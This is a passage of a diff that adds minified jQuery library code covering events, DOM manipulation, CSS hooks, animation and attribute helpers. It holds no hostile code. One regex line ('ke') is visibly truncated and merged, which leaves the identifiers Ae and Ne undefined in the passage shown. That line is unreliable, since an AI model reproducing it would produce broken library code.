t, { + enumerable: !0, + configurable: !0, + get: m(e) ? function() { + if (this.originalEvent) return e(this.originalEvent) + } : function() { + if (this.originalEvent) return this.originalEvent[t] + }, + set: function(e) { + Object.defineProperty(this, t, { + enumerable: !0, + configurable: !0, + writable: !0, + value: e + }) + } + }) + }, + fix: function(e) { + return e[S.expando] ? e : new S.Event(e) + }, + special: { + load: { + noBubble: !0 + }, + click: { + setup: function(e) { + var t = this || e; + return pe.test(t.type) && t.click && A(t, "input") && Se(t, "click", we), !1 + }, + trigger: function(e) { + var t = this || e; + return pe.test(t.type) && t.click && A(t, "input") && Se(t, "click"), !0 + }, + _default: function(e) { + var t = e.target; + return pe.test(t.type) && t.click && A(t, "input") && Y.get(t, "click") || A(t, "a") + } + }, + beforeunload: { + postDispatch: function(e) { + void 0 !== e.result && e.originalEvent && (e.originalEvent.returnValue = e.result) + } + } + } + }, S.removeEvent = function(e, t, n) { + e.removeEventListener && e.removeEventListener(t, n) + }, S.Event = function(e, t) { + if (!(this instanceof S.Event)) return new S.Event(e, t); + e && e.type ? (this.originalEvent = e, this.type = e.type, this.isDefaultPrevented = e.defaultPrevented || void 0 === e.defaultPrevented && !1 === e.returnValue ? we : Te, this.target = e.target && 3 === e.target.nodeType ? e.target.parentNode : e.target, this.currentTarget = e.currentTarget, this.relatedTarget = e.relatedTarget) : this.type = e, t && S.extend(this, t), this.timeStamp = e && e.timeStamp || Date.now(), this[S.expando] = !0 + }, S.Event.prototype = { + constructor: S.Event, + isDefaultPrevented: Te, + isPropagationStopped: Te, + isImmediatePropagationStopped: Te, + isSimulated: !1, + preventDefault: function() { + var e = this.originalEvent; + this.isDefaultPrevented = we, e && !this.isSimulated && e.preventDefault() + }, + stopPropagation: function() { + var e = this.originalEvent; + this.isPropagationStopped = we, e && !this.isSimulated && e.stopPropagation() + }, + stopImmediatePropagation: function() { + var e = this.originalEvent; + this.isImmediatePropagationStopped = we, e && !this.isSimulated && e.stopImmediatePropagation(), this.stopPropagation() + } + }, S.each({ + altKey: !0, + bubbles: !0, + cancelable: !0, + changedTouches: !0, + ctrlKey: !0, + detail: !0, + eventPhase: !0, + metaKey: !0, + pageX: !0, + pageY: !0, + shiftKey: !0, + view: !0, + "char": !0, + code: !0, + charCode: !0, + key: !0, + keyCode: !0, + button: !0, + buttons: !0, + clientX: !0, + clientY: !0, + offsetX: !0, + offsetY: !0, + pointerId: !0, + pointerType: !0, + screenX: !0, + screenY: !0, + targetTouches: !0, + toElement: !0, + touches: !0, + which: !0 + }, S.event.addProp), S.each({ + focus: "focusin", + blur: "focusout" + }, function(e, t) { + S.event.special[e] = { + setup: function() { + return Se(this, e, Ce), !1 + }, + trigger: function() { + return Se(this, e), !0 + }, + _default: function() { + return !0 + }, + delegateType: t + } + }), S.each({ + mouseenter: "mouseover", + mouseleave: "mouseout", + pointerenter: "pointerover", + pointerleave: "pointerout" + }, function(e, i) { + S.event.special[e] = { + delegateType: i, + bindType: i, + handle: function(e) { + var t, n = e.relatedTarget, + r = e.handleObj; + return n && (n === this || S.contains(this, n)) || (e.type = r.origType, t = r.handler.apply(this, arguments), e.type = i), t + } + } + }), S.fn.extend({ + on: function(e, t, n, r) { + return Ee(this, e, t, n, r) + }, + one: function(e, t, n, r) { + return Ee(this, e, t, n, r, 1) + }, + off: function(e, t, n) { + var r, i; + if (e && e.preventDefault && e.handleObj) return r = e.handleObj, S(e.delegateTarget).off(r.namespace ? r.origType + "." + r.namespace : r.origType, r.selector, r.handler), this; + if ("object" == typeof e) { + for (i in e) this.off(i, t, e[i]); + return this + } + return !1 !== t && "function" != typeof t || (n = t, t = void 0), !1 === n && (n = Te), this.each(function() { + S.event.remove(this, e, n, t) + }) + } + }); + var ke = /\s*$/g; + + function je(e, t) { + return A(e, "table") && A(11 !== t.nodeType ? t : t.firstChild, "tr") && S(e).children("tbody")[0] || e + } + + function De(e) { + return e.type = (null !== e.getAttribute("type")) + "/" + e.type, e + } + + function qe(e) { + return "true/" === (e.type || "").slice(0, 5) ? e.type = e.type.slice(5) : e.removeAttribute("type"), e + } + + function Le(e, t) { + var n, r, i, o, a, s; + if (1 === t.nodeType) { + if (Y.hasData(e) && (s = Y.get(e).events)) + for (i in Y.remove(t, "handle events"), s) + for (n = 0, r = s[i].length; n < r; n++) S.event.add(t, i, s[i][n]); + Q.hasData(e) && (o = Q.access(e), a = S.extend({}, o), Q.set(t, a)) + } + } + + function He(n, r, i, o) { + r = g(r); + var e, t, a, s, u, l, c = 0, + f = n.length, + p = f - 1, + d = r[0], + h = m(d); + if (h || 1 < f && "string" == typeof d && !y.checkClone && Ae.test(d)) return n.each(function(e) { + var t = n.eq(e); + h && (r[0] = d.call(this, e, t.html())), He(t, r, i, o) + }); + if (f && (t = (e = xe(r, n[0].ownerDocument, !1, n, o)).firstChild, 1 === e.childNodes.length && (e = t), t || o)) { + for (s = (a = S.map(ve(e, "script"), De)).length; c < f; c++) u = e, c !== p && (u = S.clone(u, !0, !0), s && S.merge(a, ve(u, "script"))), i.call(n[c], u, c); + if (s) + for (l = a[a.length - 1].ownerDocument, S.map(a, qe), c = 0; c < s; c++) u = a[c], he.test(u.type || "") && !Y.access(u, "globalEval") && S.contains(l, u) && (u.src && "module" !== (u.type || "").toLowerCase() ? S._evalUrl && !u.noModule && S._evalUrl(u.src, { + nonce: u.nonce || u.getAttribute("nonce") + }, l) : b(u.textContent.replace(Ne, ""), u, l)) + } + return n + } + + function Oe(e, t, n) { + for (var r, i = t ? S.filter(t, e) : e, o = 0; null != (r = i[o]); o++) n || 1 !== r.nodeType || S.cleanData(ve(r)), r.parentNode && (n && ie(r) && ye(ve(r, "script")), r.parentNode.removeChild(r)); + return e + } + S.extend({ + htmlPrefilter: function(e) { + return e + }, + clone: function(e, t, n) { + var r, i, o, a, s, u, l, c = e.cloneNode(!0), + f = ie(e); + if (!(y.noCloneChecked || 1 !== e.nodeType && 11 !== e.nodeType || S.isXMLDoc(e))) + for (a = ve(c), r = 0, i = (o = ve(e)).length; r < i; r++) s = o[r], u = a[r], void 0, "input" === (l = u.nodeName.toLowerCase()) && pe.test(s.type) ? u.checked = s.checked : "input" !== l && "textarea" !== l || (u.defaultValue = s.defaultValue); + if (t) + if (n) + for (o = o || ve(e), a = a || ve(c), r = 0, i = o.length; r < i; r++) Le(o[r], a[r]); + else Le(e, c); + return 0 < (a = ve(c, "script")).length && ye(a, !f && ve(e, "script")), c + }, + cleanData: function(e) { + for (var t, n, r, i = S.event.special, o = 0; void 0 !== (n = e[o]); o++) + if (V(n)) { + if (t = n[Y.expando]) { + if (t.events) + for (r in t.events) i[r] ? S.event.remove(n, r) : S.removeEvent(n, r, t.handle); + n[Y.expando] = void 0 + } + n[Q.expando] && (n[Q.expando] = void 0) + } + } + }), S.fn.extend({ + detach: function(e) { + return Oe(this, e, !0) + }, + remove: function(e) { + return Oe(this, e) + }, + text: function(e) { + return $(this, function(e) { + return void 0 === e ? S.text(this) : this.empty().each(function() { + 1 !== this.nodeType && 11 !== this.nodeType && 9 !== this.nodeType || (this.textContent = e) + }) + }, null, e, arguments.length) + }, + append: function() { + return He(this, arguments, function(e) { + 1 !== this.nodeType && 11 !== this.nodeType && 9 !== this.nodeType || je(this, e).appendChild(e) + }) + }, + prepend: function() { + return He(this, arguments, function(e) { + if (1 === this.nodeType || 11 === this.nodeType || 9 === this.nodeType) { + var t = je(this, e); + t.insertBefore(e, t.firstChild) + } + }) + }, + before: function() { + return He(this, arguments, function(e) { + this.parentNode && this.parentNode.insertBefore(e, this) + }) + }, + after: function() { + return He(this, arguments, function(e) { + this.parentNode && this.parentNode.insertBefore(e, this.nextSibling) + }) + }, + empty: function() { + for (var e, t = 0; null != (e = this[t]); t++) 1 === e.nodeType && (S.cleanData(ve(e, !1)), e.textContent = ""); + return this + }, + clone: function(e, t) { + return e = null != e && e, t = null == t ? e : t, this.map(function() { + return S.clone(this, e, t) + }) + }, + html: function(e) { + return $(this, function(e) { + var t = this[0] || {}, + n = 0, + r = this.length; + if (void 0 === e && 1 === t.nodeType) return t.innerHTML; + if ("string" == typeof e && !ke.test(e) && !ge[(de.exec(e) || ["", ""])[1].toLowerCase()]) { + e = S.htmlPrefilter(e); + try { + for (; n < r; n++) 1 === (t = this[n] || {}).nodeType && (S.cleanData(ve(t, !1)), t.innerHTML = e); + t = 0 + } catch (e) {} + } + t && this.empty().append(e) + }, null, e, arguments.length) + }, + replaceWith: function() { + var n = []; + return He(this, arguments, function(e) { + var t = this.parentNode; + S.inArray(this, n) < 0 && (S.cleanData(ve(this)), t && t.replaceChild(e, this)) + }, n) + } + }), S.each({ + appendTo: "append", + prependTo: "prepend", + insertBefore: "before", + insertAfter: "after", + replaceAll: "replaceWith" + }, function(e, a) { + S.fn[e] = function(e) { + for (var t, n = [], r = S(e), i = r.length - 1, o = 0; o <= i; o++) t = o === i ? this : this.clone(!0), S(r[o])[a](t), u.apply(n, t.get()); + return this.pushStack(n) + } + }); + var Pe = new RegExp("^(" + ee + ")(?!px)[a-z%]+$", "i"), + Re = function(e) { + var t = e.ownerDocument.defaultView; + return t && t.opener || (t = C), t.getComputedStyle(e) + }, + Me = function(e, t, n) { + var r, i, o = {}; + for (i in t) o[i] = e.style[i], e.style[i] = t[i]; + for (i in r = n.call(e), t) e.style[i] = o[i]; + return r + }, + Ie = new RegExp(ne.join("|"), "i"); + + function We(e, t, n) { + var r, i, o, a, s = e.style; + return (n = n || Re(e)) && ("" !== (a = n.getPropertyValue(t) || n[t]) || ie(e) || (a = S.style(e, t)), !y.pixelBoxStyles() && Pe.test(a) && Ie.test(t) && (r = s.width, i = s.minWidth, o = s.maxWidth, s.minWidth = s.maxWidth = s.width = a, a = n.width, s.width = r, s.minWidth = i, s.maxWidth = o)), void 0 !== a ? a + "" : a + } + + function Fe(e, t) { + return { + get: function() { + if (!e()) return (this.get = t).apply(this, arguments); + delete this.get + } + } + }! function() { + function e() { + if (l) { + u.style.cssText = "position:absolute;left:-11111px;width:60px;margin-top:1px;padding:0;border:0", l.style.cssText = "position:relative;display:block;box-sizing:border-box;overflow:scroll;margin:auto;border:1px;padding:1px;width:60%;top:1%", re.appendChild(u).appendChild(l); + var e = C.getComputedStyle(l); + n = "1%" !== e.top, s = 12 === t(e.marginLeft), l.style.right = "60%", o = 36 === t(e.right), r = 36 === t(e.width), l.style.position = "absolute", i = 12 === t(l.offsetWidth / 3), re.removeChild(u), l = null + } + } + + function t(e) { + return Math.round(parseFloat(e)) + } + var n, r, i, o, a, s, u = E.createElement("div"), + l = E.createElement("div"); + l.style && (l.style.backgroundClip = "content-box", l.cloneNode(!0).style.backgroundClip = "", y.clearCloneStyle = "content-box" === l.style.backgroundClip, S.extend(y, { + boxSizingReliable: function() { + return e(), r + }, + pixelBoxStyles: function() { + return e(), o + }, + pixelPosition: function() { + return e(), n + }, + reliableMarginLeft: function() { + return e(), s + }, + scrollboxSize: function() { + return e(), i + }, + reliableTrDimensions: function() { + var e, t, n, r; + return null == a && (e = E.createElement("table"), t = E.createElement("tr"), n = E.createElement("div"), e.style.cssText = "position:absolute;left:-11111px;border-collapse:separate", t.style.cssText = "border:1px solid", t.style.height = "1px", n.style.height = "9px", n.style.display = "block", re.appendChild(e).appendChild(t).appendChild(n), r = C.getComputedStyle(t), a = parseInt(r.height, 10) + parseInt(r.borderTopWidth, 10) + parseInt(r.borderBottomWidth, 10) === t.offsetHeight, re.removeChild(e)), a + } + })) + }(); + var Be = ["Webkit", "Moz", "ms"], + $e = E.createElement("div").style, + _e = {}; + + function ze(e) { + var t = S.cssProps[e] || _e[e]; + return t || (e in $e ? e : _e[e] = function(e) { + var t = e[0].toUpperCase() + e.slice(1), + n = Be.length; + while (n--) + if ((e = Be[n] + t) in $e) return e + }(e) || e) + } + var Ue = /^(none|table(?!-c[ea]).+)/, + Xe = /^--/, + Ve = { + position: "absolute", + visibility: "hidden", + display: "block" + }, + Ge = { + letterSpacing: "0", + fontWeight: "400" + }; + + function Ye(e, t, n) { + var r = te.exec(t); + return r ? Math.max(0, r[2] - (n || 0)) + (r[3] || "px") : t + } + + function Qe(e, t, n, r, i, o) { + var a = "width" === t ? 1 : 0, + s = 0, + u = 0; + if (n === (r ? "border" : "content")) return 0; + for (; a < 4; a += 2) "margin" === n && (u += S.css(e, n + ne[a], !0, i)), r ? ("content" === n && (u -= S.css(e, "padding" + ne[a], !0, i)), "margin" !== n && (u -= S.css(e, "border" + ne[a] + "Width", !0, i))) : (u += S.css(e, "padding" + ne[a], !0, i), "padding" !== n ? u += S.css(e, "border" + ne[a] + "Width", !0, i) : s += S.css(e, "border" + ne[a] + "Width", !0, i)); + return !r && 0 <= o && (u += Math.max(0, Math.ceil(e["offset" + t[0].toUpperCase() + t.slice(1)] - o - u - s - .5)) || 0), u + } + + function Je(e, t, n) { + var r = Re(e), + i = (!y.boxSizingReliable() || n) && "border-box" === S.css(e, "boxSizing", !1, r), + o = i, + a = We(e, t, r), + s = "offset" + t[0].toUpperCase() + t.slice(1); + if (Pe.test(a)) { + if (!n) return a; + a = "auto" + } + return (!y.boxSizingReliable() && i || !y.reliableTrDimensions() && A(e, "tr") || "auto" === a || !parseFloat(a) && "inline" === S.css(e, "display", !1, r)) && e.getClientRects().length && (i = "border-box" === S.css(e, "boxSizing", !1, r), (o = s in e) && (a = e[s])), (a = parseFloat(a) || 0) + Qe(e, t, n || (i ? "border" : "content"), o, r, a) + "px" + } + + function Ke(e, t, n, r, i) { + return new Ke.prototype.init(e, t, n, r, i) + } + S.extend({ + cssHooks: { + opacity: { + get: function(e, t) { + if (t) { + var n = We(e, "opacity"); + return "" === n ? "1" : n + } + } + } + }, + cssNumber: { + animationIterationCount: !0, + columnCount: !0, + fillOpacity: !0, + flexGrow: !0, + flexShrink: !0, + fontWeight: !0, + gridArea: !0, + gridColumn: !0, + gridColumnEnd: !0, + gridColumnStart: !0, + gridRow: !0, + gridRowEnd: !0, + gridRowStart: !0, + lineHeight: !0, + opacity: !0, + order: !0, + orphans: !0, + widows: !0, + zIndex: !0, + zoom: !0 + }, + cssProps: {}, + style: function(e, t, n, r) { + if (e && 3 !== e.nodeType && 8 !== e.nodeType && e.style) { + var i, o, a, s = X(t), + u = Xe.test(t), + l = e.style; + if (u || (t = ze(s)), a = S.cssHooks[t] || S.cssHooks[s], void 0 === n) return a && "get" in a && void 0 !== (i = a.get(e, !1, r)) ? i : l[t]; + "string" === (o = typeof n) && (i = te.exec(n)) && i[1] && (n = se(e, t, i), o = "number"), null != n && n == n && ("number" !== o || u || (n += i && i[3] || (S.cssNumber[s] ? "" : "px")), y.clearCloneStyle || "" !== n || 0 !== t.indexOf("background") || (l[t] = "inherit"), a && "set" in a && void 0 === (n = a.set(e, n, r)) || (u ? l.setProperty(t, n) : l[t] = n)) + } + }, + css: function(e, t, n, r) { + var i, o, a, s = X(t); + return Xe.test(t) || (t = ze(s)), (a = S.cssHooks[t] || S.cssHooks[s]) && "get" in a && (i = a.get(e, !0, n)), void 0 === i && (i = We(e, t, r)), "normal" === i && t in Ge && (i = Ge[t]), "" === n || n ? (o = parseFloat(i), !0 === n || isFinite(o) ? o || 0 : i) : i + } + }), S.each(["height", "width"], function(e, u) { + S.cssHooks[u] = { + get: function(e, t, n) { + if (t) return !Ue.test(S.css(e, "display")) || e.getClientRects().length && e.getBoundingClientRect().width ? Je(e, u, n) : Me(e, Ve, function() { + return Je(e, u, n) + }) + }, + set: function(e, t, n) { + var r, i = Re(e), + o = !y.scrollboxSize() && "absolute" === i.position, + a = (o || n) && "border-box" === S.css(e, "boxSizing", !1, i), + s = n ? Qe(e, u, n, a, i) : 0; + return a && o && (s -= Math.ceil(e["offset" + u[0].toUpperCase() + u.slice(1)] - parseFloat(i[u]) - Qe(e, u, "border", !1, i) - .5)), s && (r = te.exec(t)) && "px" !== (r[3] || "px") && (e.style[u] = t, t = S.css(e, u)), Ye(0, t, s) + } + } + }), S.cssHooks.marginLeft = Fe(y.reliableMarginLeft, function(e, t) { + if (t) return (parseFloat(We(e, "marginLeft")) || e.getBoundingClientRect().left - Me(e, { + marginLeft: 0 + }, function() { + return e.getBoundingClientRect().left + })) + "px" + }), S.each({ + margin: "", + padding: "", + border: "Width" + }, function(i, o) { + S.cssHooks[i + o] = { + expand: function(e) { + for (var t = 0, n = {}, r = "string" == typeof e ? e.split(" ") : [e]; t < 4; t++) n[i + ne[t] + o] = r[t] || r[t - 2] || r[0]; + return n + } + }, "margin" !== i && (S.cssHooks[i + o].set = Ye) + }), S.fn.extend({ + css: function(e, t) { + return $(this, function(e, t, n) { + var r, i, o = {}, + a = 0; + if (Array.isArray(t)) { + for (r = Re(e), i = t.length; a < i; a++) o[t[a]] = S.css(e, t[a], !1, r); + return o + } + return void 0 !== n ? S.style(e, t, n) : S.css(e, t) + }, e, t, 1 < arguments.length) + } + }), ((S.Tween = Ke).prototype = { + constructor: Ke, + init: function(e, t, n, r, i, o) { + this.elem = e, this.prop = n, this.easing = i || S.easing._default, this.options = t, this.start = this.now = this.cur(), this.end = r, this.unit = o || (S.cssNumber[n] ? "" : "px") + }, + cur: function() { + var e = Ke.propHooks[this.prop]; + return e && e.get ? e.get(this) : Ke.propHooks._default.get(this) + }, + run: function(e) { + var t, n = Ke.propHooks[this.prop]; + return this.options.duration ? this.pos = t = S.easing[this.easing](e, this.options.duration * e, 0, 1, this.options.duration) : this.pos = t = e, this.now = (this.end - this.start) * t + this.start, this.options.step && this.options.step.call(this.elem, this.now, this), n && n.set ? n.set(this) : Ke.propHooks._default.set(this), this + } + }).init.prototype = Ke.prototype, (Ke.propHooks = { + _default: { + get: function(e) { + var t; + return 1 !== e.elem.nodeType || null != e.elem[e.prop] && null == e.elem.style[e.prop] ? e.elem[e.prop] : (t = S.css(e.elem, e.prop, "")) && "auto" !== t ? t : 0 + }, + set: function(e) { + S.fx.step[e.prop] ? S.fx.step[e.prop](e) : 1 !== e.elem.nodeType || !S.cssHooks[e.prop] && null == e.elem.style[ze(e.prop)] ? e.elem[e.prop] = e.now : S.style(e.elem, e.prop, e.now + e.unit) + } + } + }).scrollTop = Ke.propHooks.scrollLeft = { + set: function(e) { + e.elem.nodeType && e.elem.parentNode && (e.elem[e.prop] = e.now) + } + }, S.easing = { + linear: function(e) { + return e + }, + swing: function(e) { + return .5 - Math.cos(e * Math.PI) / 2 + }, + _default: "swing" + }, S.fx = Ke.prototype.init, S.fx.step = {}; + var Ze, et, tt, nt, rt = /^(?:toggle|show|hide)$/, + it = /queueHooks$/; + + function ot() { + et && (!1 === E.hidden && C.requestAnimationFrame ? C.requestAnimationFrame(ot) : C.setTimeout(ot, S.fx.interval), S.fx.tick()) + } + + function at() { + return C.setTimeout(function() { + Ze = void 0 + }), Ze = Date.now() + } + + function st(e, t) { + var n, r = 0, + i = { + height: e + }; + for (t = t ? 1 : 0; r < 4; r += 2 - t) i["margin" + (n = ne[r])] = i["padding" + n] = e; + return t && (i.opacity = i.width = e), i + } + + function ut(e, t, n) { + for (var r, i = (lt.tweeners[t] || []).concat(lt.tweeners["*"]), o = 0, a = i.length; o < a; o++) + if (r = i[o].call(n, t, e)) return r + } + + function lt(o, e, t) { + var n, a, r = 0, + i = lt.prefilters.length, + s = S.Deferred().always(function() { + delete u.elem + }), + u = function() { + if (a) return !1; + for (var e = Ze || at(), t = Math.max(0, l.startTime + l.duration - e), n = 1 - (t / l.duration || 0), r = 0, i = l.tweens.length; r < i; r++) l.tweens[r].run(n); + return s.notifyWith(o, [l, n, t]), n < 1 && i ? t : (i || s.notifyWith(o, [l, 1, 0]), s.resolveWith(o, [l]), !1) + }, + l = s.promise({ + elem: o, + props: S.extend({}, e), + opts: S.extend(!0, { + specialEasing: {}, + easing: S.easing._default + }, t), + originalProperties: e, + originalOptions: t, + startTime: Ze || at(), + duration: t.duration, + tweens: [], + createTween: function(e, t) { + var n = S.Tween(o, l.opts, e, t, l.opts.specialEasing[e] || l.opts.easing); + return l.tweens.push(n), n + }, + stop: function(e) { + var t = 0, + n = e ? l.tweens.length : 0; + if (a) return this; + for (a = !0; t < n; t++) l.tweens[t].run(1); + return e ? (s.notifyWith(o, [l, 1, 0]), s.resolveWith(o, [l, e])) : s.rejectWith(o, [l, e]), this + } + }), + c = l.props; + for (! function(e, t) { + var n, r, i, o, a; + for (n in e) + if (i = t[r = X(n)], o = e[n], Array.isArray(o) && (i = o[1], o = e[n] = o[0]), n !== r && (e[r] = o, delete e[n]), (a = S.cssHooks[r]) && "expand" in a) + for (n in o = a.expand(o), delete e[r], o) n in e || (e[n] = o[n], t[n] = i); + else t[r] = i + }(c, l.opts.specialEasing); r < i; r++) + if (n = lt.prefilters[r].call(l, o, c, l.opts)) return m(n.stop) && (S._queueHooks(l.elem, l.opts.queue).stop = n.stop.bind(n)), n; + return S.map(c, ut, l), m(l.opts.start) && l.opts.start.call(o, l), l.progress(l.opts.progress).done(l.opts.done, l.opts.complete).fail(l.opts.fail).always(l.opts.always), S.fx.timer(S.extend(u, { + elem: o, + anim: l, + queue: l.opts.queue + })), l + } + S.Animation = S.extend(lt, { + tweeners: { + "*": [function(e, t) { + var n = this.createTween(e, t); + return se(n.elem, e, te.exec(t), n), n + }] + }, + tweener: function(e, t) { + m(e) ? (t = e, e = ["*"]) : e = e.match(P); + for (var n, r = 0, i = e.length; r < i; r++) n = e[r], lt.tweeners[n] = lt.tweeners[n] || [], lt.tweeners[n].unshift(t) + }, + prefilters: [function(e, t, n) { + var r, i, o, a, s, u, l, c, f = "width" in t || "height" in t, + p = this, + d = {}, + h = e.style, + g = e.nodeType && ae(e), + v = Y.get(e, "fxshow"); + for (r in n.queue || (null == (a = S._queueHooks(e, "fx")).unqueued && (a.unqueued = 0, s = a.empty.fire, a.empty.fire = function() { + a.unqueued || s() + }), a.unqueued++, p.always(function() { + p.always(function() { + a.unqueued--, S.queue(e, "fx").length || a.empty.fire() + }) + })), t) + if (i = t[r], rt.test(i)) { + if (delete t[r], o = o || "toggle" === i, i === (g ? "hide" : "show")) { + if ("show" !== i || !v || void 0 === v[r]) continue; + g = !0 + } + d[r] = v && v[r] || S.style(e, r) + } + if ((u = !S.isEmptyObject(t)) || !S.isEmptyObject(d)) + for (r in f && 1 === e.nodeType && (n.overflow = [h.overflow, h.overflowX, h.overflowY], null == (l = v && v.display) && (l = Y.get(e, "display")), "none" === (c = S.css(e, "display")) && (l ? c = l : (le([e], !0), l = e.style.display || l, c = S.css(e, "display"), le([e]))), ("inline" === c || "inline-block" === c && null != l) && "none" === S.css(e, "float") && (u || (p.done(function() { + h.display = l + }), null == l && (c = h.display, l = "none" === c ? "" : c)), h.display = "inline-block")), n.overflow && (h.overflow = "hidden", p.always(function() { + h.overflow = n.overflow[0], h.overflowX = n.overflow[1], h.overflowY = n.overflow[2] + })), u = !1, d) u || (v ? "hidden" in v && (g = v.hidden) : v = Y.access(e, "fxshow", { + display: l + }), o && (v.hidden = !g), g && le([e], !0), p.done(function() { + for (r in g || le([e]), Y.remove(e, "fxshow"), d) S.style(e, r, d[r]) + })), u = ut(g ? v[r] : 0, r, p), r in v || (v[r] = u.start, g && (u.end = u.start, u.start = 0)) + }], + prefilter: function(e, t) { + t ? lt.prefilters.unshift(e) : lt.prefilters.push(e) + } + }), S.speed = function(e, t, n) { + var r = e && "object" == typeof e ? S.extend({}, e) : { + complete: n || !n && t || m(e) && e, + duration: e, + easing: n && t || t && !m(t) && t + }; + return S.fx.off ? r.duration = 0 : "number" != typeof r.duration && (r.duration in S.fx.speeds ? r.duration = S.fx.speeds[r.duration] : r.duration = S.fx.speeds._default), null != r.queue && !0 !== r.queue || (r.queue = "fx"), r.old = r.complete, r.complete = function() { + m(r.old) && r.old.call(this), r.queue && S.dequeue(this, r.queue) + }, r + }, S.fn.extend({ + fadeTo: function(e, t, n, r) { + return this.filter(ae).css("opacity", 0).show().end().animate({ + opacity: t + }, e, n, r) + }, + animate: function(t, e, n, r) { + var i = S.isEmptyObject(t), + o = S.speed(e, n, r), + a = function() { + var e = lt(this, S.extend({}, t), o); + (i || Y.get(this, "finish")) && e.stop(!0) + }; + return a.finish = a, i || !1 === o.queue ? this.each(a) : this.queue(o.queue, a) + }, + stop: function(i, e, o) { + var a = function(e) { + var t = e.stop; + delete e.stop, t(o) + }; + return "string" != typeof i && (o = e, e = i, i = void 0), e && this.queue(i || "fx", []), this.each(function() { + var e = !0, + t = null != i && i + "queueHooks", + n = S.timers, + r = Y.get(this); + if (t) r[t] && r[t].stop && a(r[t]); + else + for (t in r) r[t] && r[t].stop && it.test(t) && a(r[t]); + for (t = n.length; t--;) n[t].elem !== this || null != i && n[t].queue !== i || (n[t].anim.stop(o), e = !1, n.splice(t, 1)); + !e && o || S.dequeue(this, i) + }) + }, + finish: function(a) { + return !1 !== a && (a = a || "fx"), this.each(function() { + var e, t = Y.get(this), + n = t[a + "queue"], + r = t[a + "queueHooks"], + i = S.timers, + o = n ? n.length : 0; + for (t.finish = !0, S.queue(this, a, []), r && r.stop && r.stop.call(this, !0), e = i.length; e--;) i[e].elem === this && i[e].queue === a && (i[e].anim.stop(!0), i.splice(e, 1)); + for (e = 0; e < o; e++) n[e] && n[e].finish && n[e].finish.call(this); + delete t.finish + }) + } + }), S.each(["toggle", "show", "hide"], function(e, r) { + var i = S.fn[r]; + S.fn[r] = function(e, t, n) { + return null == e || "boolean" == typeof e ? i.apply(this, arguments) : this.animate(st(r, !0), e, t, n) + } + }), S.each({ + slideDown: st("show"), + slideUp: st("hide"), + slideToggle: st("toggle"), + fadeIn: { + opacity: "show" + }, + fadeOut: { + opacity: "hide" + }, + fadeToggle: { + opacity: "toggle" + } + }, function(e, r) { + S.fn[e] = function(e, t, n) { + return this.animate(r, e, t, n) + } + }), S.timers = [], S.fx.tick = function() { + var e, t = 0, + n = S.timers; + for (Ze = Date.now(); t < n.length; t++)(e = n[t])() || n[t] !== e || n.splice(t--, 1); + n.length || S.fx.stop(), Ze = void 0 + }, S.fx.timer = function(e) { + S.timers.push(e), S.fx.start() + }, S.fx.interval = 13, S.fx.start = function() { + et || (et = !0, ot()) + }, S.fx.stop = function() { + et = null + }, S.fx.speeds = { + slow: 600, + fast: 200, + _default: 400 + }, S.fn.delay = function(r, e) { + return r = S.fx && S.fx.speeds[r] || r, e = e || "fx", this.queue(e, function(e, t) { + var n = C.setTimeout(e, r); + t.stop = function() { + C.clearTimeout(n) + } + }) + }, tt = E.createElement("input"), nt = E.createElement("select").appendChild(E.createElement("option")), tt.type = "checkbox", y.checkOn = "" !== tt.value, y.optSelected = nt.selected, (tt = E.createElement("input")).value = "t", tt.type = "radio", y.radioValue = "t" === tt.value; + var ct, ft = S.expr.attrHandle; + S.fn.extend({ + attr: function(e, t) { + return $(this, S.attr, e, t, 1 < arguments.length) + }, + removeAttr: function(e) { + return this.each(function() { + S.removeAttr(this, e) + }) + } + }), S.extend({ + attr: function(e, t, n) { + var r, i, o = e.nodeType; + if (3 !== o && 8 !== o && 2 !== o) return "undefined" == typeof e.getAttribute ? S.prop(e, t, n) : (1 === o && S.isXMLDoc(e) || (i = S.attrHooks[t.toLowerCase()] || (S.expr.match.bool.test(t) ? ct : void 0)), void 0 !== n ? null === n ? void S.removeAttr(e, t) : i && "set" in i && void 0 !== (r = i.set(e, n, t)) ? r : (e.setAttribute(t, n + ""), n) : i && "get" in i && null !== (r = i.get(e, t)) ? r : null == (r = S.find.attr(e, t)) ? void 0 : r) + }, + attrHooks: { + type: { + set: function(e, t) { + if (!y.radioValue && "radio" === t && A(e, "input")) { + var n = e.value; + return e.setAttribute("type", t), n && (e.value = n), t + } + } + } + }, + removeAttr: function(e, t) { + var n, r = 0, + i = t && t.match(P); + if (i && 1 === e.nodeType) + while (n = i[r++]) e.removeAttribute(n) + } + }), ct = { + set: function(e, t, n) { + return !1 === t ? S.removeAttr(e, n) : e.setAttribute(n, n), n + } + }, S.each(S.expr.match.bool.source.match(/\w+/g), function(e, t) { + var a = ft[t] || S.find.attr; + ft[t] = function(e, t, n) { + var r, i, o = t.toLowerCase(); + return n || (i = ft[o], ft[o] = r, r = null != a(e, t, n) ? o : null, ft[o] = i), r + } + }); + var pt = /^(?:input|select|textarea|button)$/i, + dt = /^(?:a|area)$/i; + + function ht(e) { + return (e.match(P) || []).join(" ") + } + + function gt(e) { + return e.getAttribute && e.getAttribute("class") || "" + } + + function vt(e) { + return Array.isArray(e) ? e : "string" == typeof e && e.match(P) || [] + } + S.fn.extend({ + prop: function(e, t) { + return $(this, S.prop, e, t, 1 < arguments.length) + }, + removeProp: function(e) { + return this.each(function() { + delete this[S.propFix[e] || e] + }) + } + }), S.extend({ + prop: function(e, t, n) { + var r, i, o = e.nodeType; + if (3 !== o && 8 !== o && 2 !== o) return 1 === o && S.isXMLDoc(e) || (t = S.propFix[t] || t, i = S.propHooks[t]), void 0 !== n ? i && "set" in i && void 0 !== (r = i.set(e, n, t)) ? r : e[t] = n : i && "get" in i && null !== (r = i.get(e, t)) ? r : e[t] + }, + propHooks: { + tabIndex: { + get: function(e) { + var t = S.find.attr(e, "tabindex"); + return t ? parseInt(t, 10) : pt.test(e.nodeName) || dt.test(e.nodeName) && e.href ? 0 : -1 + } + } + }, + propFix: { + "for": "htmlFor", + "class": "className" + } + }), y.optSelected || (S.propHooks.selected = { + get: function(e) { + var t = e.parentNode; + return t && t.parentNode && t.parentNode.selectedIndex, null + }, + set: function(e) { + var t = e.parentNode; + t && (t.selectedIndex, t.parentNode && t.parentNode.selectedIndex) + } + }), S.each(["tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable"], function() { + S.propFix[this.toLowerCase()] = this + }), S.fn.extend({ + addClass: function(t) { + var e, n, r, i, 